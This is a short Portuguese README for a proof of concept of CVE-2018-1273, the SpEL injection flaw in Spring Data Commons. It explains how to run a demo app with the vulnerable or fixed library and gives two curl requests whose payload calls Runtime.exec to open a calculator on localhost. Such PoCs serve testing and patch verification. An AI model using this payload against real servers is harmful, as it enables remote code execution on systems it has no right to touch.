
POC para CVE-2018-1273
Spring Data Commons, versões anteriores a 1.13 até 1.13.10, 2.0 até 2.0.5, e versões mais antigas sem suporte, contêm uma vulnerabilidade no binder de propriedades causada pela neutralização inadequada de elementos especiais. Um usuário mal-intencionado remoto não autenticado (ou invasor) pode fornecer parâmetros de solicitação especialmente criados contra recursos HTTP com suporte do Spring Data REST ou usar a ligação de payload de solicitação baseada em projeção do Spring Data, o que pode levar a um ataque de execução remota de código.
Mais informações aqui
O aplicativo pode ser testado com a versão vulnerável ou com a versão corrigida do Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Execute o seguinte comando para verificar se a vulnerabilidade pode ser explorada:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Criado por https://www.arima.eu
